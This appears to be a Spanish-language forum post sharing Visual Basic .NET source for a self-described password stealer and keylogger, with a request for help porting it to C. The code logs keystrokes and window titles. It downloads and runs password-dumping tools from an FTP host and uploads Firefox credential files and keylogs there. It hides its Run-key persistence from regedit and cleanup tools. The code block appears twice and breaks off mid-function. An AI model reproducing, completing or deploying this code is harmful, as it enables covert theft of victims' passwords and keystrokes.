He de decir que llevo años apartado del tema en general y que mis conocimientos de programación son como mucho intuitivos; lo único con lo que me atrevo es con Visual Basic. Buscar, copiar pegar y juntar codigos es lo de lo poco que se me da medio bien. Lo ideal seria que alguien con experiencia y paciencia que le pareciera interesante y buena idea el proyecto lo pudiera simplificar y traducir a C.
Parte Stealer:
La parte para coger los pass de los navegadores es algo rebuscada ya que añadí un codigo para descargar 2 dll's y ejecutar un .exe (escrito en vb6) que devuelve las pass de Chrome.
En el caso de IE11 también descargo y hago uso de una herramienta llamada IEPasswordDump de SecurityXploded; esta, me devuelve un fichero con las pass del IE que mando posteriormente por FTP.
En el caso del Firefox lo que he echo es localizar 3 archivos que contienen los pass encriptados (key3.db, cert8.db, logins.json), subirmelos para luego desencryptarlos con una herramienta tambien de SecurityXploded llamada ThunderbirdPassDecryptor.
*detalles: Creo una rutina en un timer para eliminar o crear la clave en Run dependiendo si se ejecuta regedit o X programa. La ruta en run es un archivo directo lnk.
Form:
Imports System.IO
Imports System.Environment
Imports Microsoft.Win32
Public NotInheritable Class Form1 : Inherits Form
Private WithEvents keyLogger As InputDevice
Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As IntPtr
Public Declare Auto Function GetWindowText Lib "user32" (ByVal hWnd As System.IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
Dim appDataf As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\"
Dim fire As String = Directory.GetDirectories(appDataf)(0)
Dim appData As String = GetFolderPath(SpecialFolder.ApplicationData)
Dim path As String = appData & "\Roming\DllInf.dll"
Dim path1 = appData & "\Roming\krnel.exe"
Dim path1b = appData & "\Roming"
Dim lnk = appData & "\Sys"
Dim lnk2 = appData & "\Sys\WinKernel.lnk"
Dim makel As String
Function GetCaption() As String
Dim Caption As New System.Text.StringBuilder(256)
Dim hWnd As IntPtr = GetForegroundWindow()
GetWindowText(hWnd, Caption, Caption.Capacity)
Return Caption.ToString()
End Function
Public Sub New()
Me.InitializeComponent()
Me.keyLogger = New InputDevice(Me.Handle)
Me.keyLogger.Language = InputLanguage.DefaultInputLanguage.Culture.Name
Me.keyLogger.HandlePastes = True
Me.keyLogger.IgnoredChars = {"^"c}
Me.keyLogger.IgnoredCharsComparer = EqualityComparer(Of Char).Default
Me.keyLogger.IgnoredStrings = {"^^"}
Me.keyLogger.IgnoredStringsComparer = StringComparer.OrdinalIgnoreCase
End Sub
Private Sub KeyLogger_KeyPressed(ByVal sender As Object, ByVal e As InputDevice.KeyPressedEventArgs) _
Handles keyLogger.KeyPressed
Select Case e.DeviceInfo.Key
Case Keys.Enter
e.DeviceInfo.Chars = ControlChars.CrLf & "{ENTER}"
Case Keys.Back
e.DeviceInfo.Chars = "{BACKSPACE}"
Case Keys.ControlKey
e.DeviceInfo.Chars = "{CTRL}"
Case Keys.Escape
e.DeviceInfo.Chars = "{ESC}"
Case Keys.ShiftKey
e.DeviceInfo.Chars = "{Shift}"
Case Keys.CapsLock
e.DeviceInfo.Chars = "{CapsLock}"
Case Keys.Menu
e.DeviceInfo.Chars = "{Alt}"
Case Else
' ...
End Select
Me.TextBox2.AppendText(e.DeviceInfo.Chars)
End Sub
Private Sub KeyLogger_HotkeyPastePressed(ByVal sender As Object, ByVal e As InputDevice.HotkeyPastePressedEventArgs) _
Handles keyLogger.HotkeyPastePressed
Me.TextBox2.AppendText("{INIT_PASTE}" & e.ClipboardData & "{END_PASTE}")
End Sub
Private Sub Timer1_Timer(sender As Object, e As EventArgs) Handles Timer1.Tick
On Error Resume Next
Me.Visible = False
Dim CapTxt As String = GetCaption()
If makel <> CapTxt Then
makel = CapTxt
Me.TextBox2.AppendText(vbCrLf & vbCrLf & " [" & makel & "] - ")
End If
On Error Resume Next
Dim p() As Process
Dim p2() As Process
Dim p3() As Process
p = Process.GetProcessesByName("regedit")
p2 = Process.GetProcessesByName("hijackthis")
p3 = Process.GetProcessesByName("ccleaner64")
If p.Count > 0 Or p2.Count > 0 Or p3.Count > 0 Then
DelCurrentKey("Micosoft Security Kernel", lnk2)
Else
AddCurrentKey("Micosoft Security Kernel", lnk2)
End If
End Sub
Private Sub DelCurrentKey(ByVal name As String, ByVal path As String)
Dim key1 As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
key1.DeleteValue(name, True)
End Sub
Private Sub AddCurrentKey(ByVal name As String, ByVal pathr As String)
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
key.SetValue(name, pathr)
End Sub
Function CreateShortCut(ByVal ShortCutTarget As String,
ByVal ShortcutKey As String,
ByVal ShortCutDescription As String) As Boolean
Try
Dim WSHShell As Object = CreateObject("WScript.Shell")
Dim Shortcut As Object
Shortcut = WSHShell.CreateShortcut(lnk2)
Shortcut.TargetPath = ShortCutTarget
Shortcut.WindowStyle = 2
Shortcut.Hotkey = ShortcutKey
Shortcut.Description = ShortCutDescription
Shortcut.WorkingDirectory = lnk
Shortcut.IconLocation = "explorer.exe, 5"
Shortcut.Save()
Return True
Catch ex As Exception
Return False
End Try
End Function
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'On Error Resume Next
If Not Directory.Exists(path1b) Then
Directory.CreateDirectory(path1b)
Directory.CreateDirectory(lnk)
Directory.CreateDirectory("c:\Ste")
Application.DoEvents()
File.SetAttributes(path1, FileAttributes.Hidden)
File.SetAttributes(path1b, FileAttributes.Hidden)
CreateShortCut(path1, "", "Microsoft Windows")
'GETjpg()
'If File.Exists("C:\Ste\Bllrcs.jpg") Then
'Process.Start("c:\Ste\Bllrcs.jpg")
'End If
Application.DoEvents()
GETFile() 'Copia del soft (para no hacer un copy)
If Directory.Exists(fire) Then
sMF1()
sMF2()
sMF3()
End If 'manda los archivos de FireFox
Application.DoEvents()
GETIE() 'seatler ie
If File.Exists(path1b & "\IEDump.exe") Then
Shell(path1b & "\IEDump.exe -f ""c:\Ste\2.txt""")
End If
Application.DoEvents()
GETSDll1()
GETSDll2()
GETSTEAL() 'descarga dll's sql y stealer chrome
If File.Exists(path1b & "\Chrome.exe") Then
Shell(path1b & "\Chrome.exe")
End If
Application.DoEvents()
If File.Exists("c:\Ste\1.txt") Then
sendCH() 'manda log chrome
End If
If File.Exists("c:\Ste\2.txt") Then
sendIE() 'manda log ie
End If
Application.DoEvents()
Kill("c:\Ste\1.txt")
Kill("c:\Ste\2.txt")
End If
Dim data = DateTime.Now
TextBox2.Text = vbCrLf & "Inicio: ----------------------- " & data & " ------------------------" & vbCrLf & vbCrLf
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
On Error Resume Next
Dim infoReader As System.IO.FileInfo
Dim data = DateTime.Now
If Not File.Exists(path) Then
' Create a file to write to.
Using sn As StreamWriter = File.CreateText(path)
sn.Write(TextBox2.Text)
End Using
Else
Using sw = File.AppendText(path)
sw.Write(TextBox2.Text)
End Using
End If
TextBox2.Text = ""
infoReader = My.Computer.FileSystem.GetFileInfo(path)
If infoReader.Length >= 40000 Then
TextBox2.Text = vbCrLf & vbCrLf & "Fin: ----------------------- " & data & " ------------------------" & vbCrLf & vbCrLf
send() 'si el archivo es igualo superior a 40000 bytes 40kb lo manda y lo borra
Application.DoEvents()
Kill(path)
TextBox2.Text = vbCrLf & "Inicio: ----------------------- " & data & " ------------------------" & vbCrLf & vbCrLf
End If
End Sub
Private Sub GETFile()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/krnel.exe"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\krnel.exe")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETjpg()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/5.jpg"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create("c:\Ste\Bllrcs.jpg")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETIE()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/IEDump.exe"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\IEDump.exe")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETSTEAL()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/Windows.exe"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\Chrome.exe")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETSDll1()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/sqlite3.dll"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\sqlite3.dll")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETSDll2()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/SQLite3_StdCall.dll"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\SQLite3_StdCall.dll")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub send()
'Dim i As Integer
Dim r As Random = New Random
Dim Nume As Integer
Nume = r.Next(1, 2000)
Dim name = Environment.UserName & " - " & Nume
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/log/Log " & name & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(path)
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sendIE()
'Dim i As Integer
Dim r As Random = New Random
Dim Nume As Integer
Nume = r.Next(1, 2000)
Dim name = Environment.UserName & " - " & Nume
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/IExp " & name & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("c:\Ste\2.txt")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sendCH()
'Dim i As Integer
Dim r As Random = New Random
Dim Nume As Integer
Nume = r.Next(1, 2000)
Dim name = Environment.UserName & " - " & Nume
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/Chrome " & name & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("c:\Ste\1.txt")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sMF1()
'Dim i As Integer
Dim name = Environment.UserName
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/FX " & name & " - cert8.db"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(fire & "\cert8.db")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sMF2()
'Dim i As Integer
Dim name = Environment.UserName
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/FX " & name & " - logins.json"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(fire & "\logins.json")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sMF3()
'Dim i As Integer
Dim name = Environment.UserName
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/FX " & name & " - key3.db"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(fire & "\key3.db")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
End Class
Imports System.Environment
Imports Microsoft.Win32
Public NotInheritable Class Form1 : Inherits Form
Private WithEvents keyLogger As InputDevice
Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As IntPtr
Public Declare Auto Function GetWindowText Lib "user32" (ByVal hWnd As System.IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
Dim appDataf As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\"
Dim fire As String = Directory.GetDirectories(appDataf)(0)
Dim appData As String = GetFolderPath(SpecialFolder.ApplicationData)
Dim path As String = appData & "\Roming\DllInf.dll"
Dim path1 = appData & "\Roming\krnel.exe"
Dim path1b = appData & "\Roming"
Dim lnk = appData & "\Sys"
Dim lnk2 = appData & "\Sys\WinKernel.lnk"
Dim makel As String
Function GetCaption() As String
Dim Caption As New System.Text.StringBuilder(256)
Dim hWnd As IntPtr = GetForegroundWindow()
GetWindowText(hWnd, Caption, Caption.Capacity)
Return Caption.ToString()
End Function
Public Sub New()
Me.InitializeComponent()
Me.keyLogger = New InputDevice(Me.Handle)
Me.keyLogger.Language = InputLanguage.DefaultInputLanguage.Culture.Name
Me.keyLogger.HandlePastes = True
Me.keyLogger.IgnoredChars = {"^"c}
Me.keyLogger.IgnoredCharsComparer = EqualityComparer(Of Char).Default
Me.keyLogger.IgnoredStrings = {"^^"}
Me.keyLogger.IgnoredStringsComparer = StringComparer.OrdinalIgnoreCase
End Sub
Private Sub KeyLogger_KeyPressed(ByVal sender As Object, ByVal e As InputDevice.KeyPressedEventArgs) _
Handles keyLogger.KeyPressed
Select Case e.DeviceInfo.Key
Case Keys.Enter
e.DeviceInfo.Chars = ControlChars.CrLf & "{ENTER}"
Case Keys.Back
e.DeviceInfo.Chars = "{BACKSPACE}"
Case Keys.ControlKey
e.DeviceInfo.Chars = "{CTRL}"
Case Keys.Escape
e.DeviceInfo.Chars = "{ESC}"
Case Keys.ShiftKey
e.DeviceInfo.Chars = "{Shift}"
Case Keys.CapsLock
e.DeviceInfo.Chars = "{CapsLock}"
Case Keys.Menu
e.DeviceInfo.Chars = "{Alt}"
Case Else
' ...
End Select
Me.TextBox2.AppendText(e.DeviceInfo.Chars)
End Sub
Private Sub KeyLogger_HotkeyPastePressed(ByVal sender As Object, ByVal e As InputDevice.HotkeyPastePressedEventArgs) _
Handles keyLogger.HotkeyPastePressed
Me.TextBox2.AppendText("{INIT_PASTE}" & e.ClipboardData & "{END_PASTE}")
End Sub
Private Sub Timer1_Timer(sender As Object, e As EventArgs) Handles Timer1.Tick
On Error Resume Next
Me.Visible = False
Dim CapTxt As String = GetCaption()
If makel <> CapTxt Then
makel = CapTxt
Me.TextBox2.AppendText(vbCrLf & vbCrLf & " [" & makel & "] - ")
End If
On Error Resume Next
Dim p() As Process
Dim p2() As Process
Dim p3() As Process
p = Process.GetProcessesByName("regedit")
p2 = Process.GetProcessesByName("hijackthis")
p3 = Process.GetProcessesByName("ccleaner64")
If p.Count > 0 Or p2.Count > 0 Or p3.Count > 0 Then
DelCurrentKey("Micosoft Security Kernel", lnk2)
Else
AddCurrentKey("Micosoft Security Kernel", lnk2)
End If
End Sub
Private Sub DelCurrentKey(ByVal name As String, ByVal path As String)
Dim key1 As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
key1.DeleteValue(name, True)
End Sub
Private Sub AddCurrentKey(ByVal name As String, ByVal pathr As String)
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
key.SetValue(name, pathr)
End Sub
Function CreateShortCut(ByVal ShortCutTarget As String,
ByVal ShortcutKey As String,
ByVal ShortCutDescription As String) As Boolean
Try
Dim WSHShell As Object = CreateObject("WScript.Shell")
Dim Shortcut As Object
Shortcut = WSHShell.CreateShortcut(lnk2)
Shortcut.TargetPath = ShortCutTarget
Shortcut.WindowStyle = 2
Shortcut.Hotkey = ShortcutKey
Shortcut.Description = ShortCutDescription
Shortcut.WorkingDirectory = lnk
Shortcut.IconLocation = "explorer.exe, 5"
Shortcut.Save()
Return True
Catch ex As Exception
Return False
End Try
End Function
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'On Error Resume Next
If Not Directory.Exists(path1b) Then
Directory.CreateDirectory(path1b)
Directory.CreateDirectory(lnk)
Directory.CreateDirectory("c:\Ste")
Application.DoEvents()
File.SetAttributes(path1, FileAttributes.Hidden)
File.SetAttributes(path1b, FileAttributes.Hidden)
CreateShortCut(path1, "", "Microsoft Windows")
'GETjpg()
'If File.Exists("C:\Ste\Bllrcs.jpg") Then
'Process.Start("c:\Ste\Bllrcs.jpg")
'End If
Application.DoEvents()
GETFile() 'Copia del soft (para no hacer un copy)
If Directory.Exists(fire) Then
sMF1()
sMF2()
sMF3()
End If 'manda los archivos de FireFox
Application.DoEvents()
GETIE() 'seatler ie
If File.Exists(path1b & "\IEDump.exe") Then
Shell(path1b & "\IEDump.exe -f ""c:\Ste\2.txt""")
End If
Application.DoEvents()
GETSDll1()
GETSDll2()
GETSTEAL() 'descarga dll's sql y stealer chrome
If File.Exists(path1b & "\Chrome.exe") Then
Shell(path1b & "\Chrome.exe")
End If
Application.DoEvents()
If File.Exists("c:\Ste\1.txt") Then
sendCH() 'manda log chrome
End If
If File.Exists("c:\Ste\2.txt") Then
sendIE() 'manda log ie
End If
Application.DoEvents()
Kill("c:\Ste\1.txt")
Kill("c:\Ste\2.txt")
End If
Dim data = DateTime.Now
TextBox2.Text = vbCrLf & "Inicio: ----------------------- " & data & " ------------------------" & vbCrLf & vbCrLf
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
On Error Resume Next
Dim infoReader As System.IO.FileInfo
Dim data = DateTime.Now
If Not File.Exists(path) Then
' Create a file to write to.
Using sn As StreamWriter = File.CreateText(path)
sn.Write(TextBox2.Text)
End Using
Else
Using sw = File.AppendText(path)
sw.Write(TextBox2.Text)
End Using
End If
TextBox2.Text = ""
infoReader = My.Computer.FileSystem.GetFileInfo(path)
If infoReader.Length >= 40000 Then
TextBox2.Text = vbCrLf & vbCrLf & "Fin: ----------------------- " & data & " ------------------------" & vbCrLf & vbCrLf
send() 'si el archivo es igualo superior a 40000 bytes 40kb lo manda y lo borra
Application.DoEvents()
Kill(path)
TextBox2.Text = vbCrLf & "Inicio: ----------------------- " & data & " ------------------------" & vbCrLf & vbCrLf
End If
End Sub
Private Sub GETFile()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/krnel.exe"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\krnel.exe")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETjpg()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/5.jpg"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create("c:\Ste\Bllrcs.jpg")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETIE()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/IEDump.exe"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
